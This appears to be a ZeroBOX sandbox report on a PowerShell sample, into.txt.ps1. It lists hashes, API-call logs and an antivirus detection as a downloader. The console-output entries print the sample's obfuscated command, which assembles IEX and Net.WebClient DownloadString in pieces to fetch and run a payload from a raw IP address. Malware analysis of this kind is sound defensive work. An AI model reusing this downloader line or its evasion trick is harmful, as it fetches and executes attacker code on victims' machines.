Summary | ZeroBOX

into.txt.ps1

Generic Malware Antivirus
Category Machine Started Completed
FILE s1_win7_x6402 July 20, 2023, 12:16 p.m. July 20, 2023, 12:18 p.m.
Size 469.0B
Type ASCII text, with very long lines
MD5 6a5f012c5651b0fb68b449f1f4a8ece4
SHA256 91bd44d238adf425555efaec892d776aa3648182b1479362c25c095c40498d70
CRC32 649427E5
ssdeep 12:VtPzq+PENwQ+h7gPfB8Vmn4n/m8wu3PmX7FQJLoA:/Pzq+PENkgnqVM6u1u3PgZQld
Yara None matched

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: The term 'on' is not recognized as the name of a cmdlet, function, script file,
console_handle: 0x00000023
1 1 0

WriteConsoleW

buffer: or operable program. Check the spelling of the name, or if a path was included
console_handle: 0x0000002f
1 1 0

WriteConsoleW

buffer: , verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

buffer: At C:\Users\test22\AppData\Local\Temp\into.txt.ps1:1 char:3
console_handle: 0x00000047
1 1 0

WriteConsoleW

buffer: + on <<<< error resume next
console_handle: 0x00000053
1 1 0

WriteConsoleW

buffer: + CategoryInfo : ObjectNotFound: (on:String) [], CommandNotFoundE
console_handle: 0x0000005f
1 1 0

WriteConsoleW

buffer: xception
console_handle: 0x0000006b
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

buffer: Set-Variable : A positional parameter cannot be found that accepts argument 'Cr
console_handle: 0x00000097
1 1 0

WriteConsoleW

buffer: eateObject'.
console_handle: 0x000000a3
1 1 0

WriteConsoleW

buffer: At C:\Users\test22\AppData\Local\Temp\into.txt.ps1:2 char:4
console_handle: 0x000000af
1 1 0

WriteConsoleW

buffer: + Set <<<< objShell = CreateObject ("WScript.shell")
console_handle: 0x000000bb
1 1 0

WriteConsoleW

buffer: + CategoryInfo : InvalidArgument: (:) [Set-Variable], ParameterBi
console_handle: 0x000000c7
1 1 0

WriteConsoleW

buffer: ndingException
console_handle: 0x000000d3
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell
console_handle: 0x000000df
1 1 0

WriteConsoleW

buffer: .Commands.SetVariableCommand
console_handle: 0x000000eb
1 1 0

WriteConsoleW

buffer: The term 'objShell.Run' is not recognized as the name of a cmdlet, function, sc
console_handle: 0x0000010b
1 1 0

WriteConsoleW

buffer: ript file, or operable program. Check the spelling of the name, or if a path wa
console_handle: 0x00000117
1 1 0

WriteConsoleW

buffer: s included, verify that the path is correct and try again.
console_handle: 0x00000123
1 1 0

WriteConsoleW

buffer: At C:\Users\test22\AppData\Local\Temp\into.txt.ps1:3 char:13
console_handle: 0x0000012f
1 1 0

WriteConsoleW

buffer: + objShell.Run <<<< "powershell $T1_part1 = 'I';Sleep 1; $T1_part2 = 'eX(NeW-O
console_handle: 0x0000013b
1 1 0

WriteConsoleW

buffer: BJeCT';Sleep 1; $T1_part3 = ' NeT.WeBCLIeNT).';Sleep 1; $T1_part4 = 'D';Sleep 1
console_handle: 0x00000147
1 1 0

WriteConsoleW

buffer: ; $T1 = $T1_part1 + $T1_part2 + $T1_part3 + $T1_part4;Sleep 1; $T2 = 'OWNLO'; S
console_handle: 0x00000153
1 1 0

WriteConsoleW

buffer: leep 1;$T3_part1 = 'ADSTRING(''http://139.99'; Sleep 1;$T3_part2 = '.3.41:222/n
console_handle: 0x0000015f
1 1 0

WriteConsoleW

buffer: n.jpg'')';Sleep 1; $T3 = $T3_part1 + $T3_part2; Sleep 1;$T4 = $T1 + $T2 + $T3 |
console_handle: 0x0000016b
1 1 0

WriteConsoleW

buffer: iex" , 0, True
console_handle: 0x00000177
1 1 0

WriteConsoleW

buffer: + CategoryInfo : ObjectNotFound: (objShell.Run:String) [], Comman
console_handle: 0x00000183
1 1 0

WriteConsoleW

buffer: dNotFoundException
console_handle: 0x0000018f
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x0000019b
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00363078
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00363078
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00363078
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00363078
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00363078
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00363078
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00363078
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00363078
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0263f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06370000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06560000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06561000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06562000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06563000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02609000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06564000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06565000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 3052
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x06035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Symantec ISB.Downloader!gen281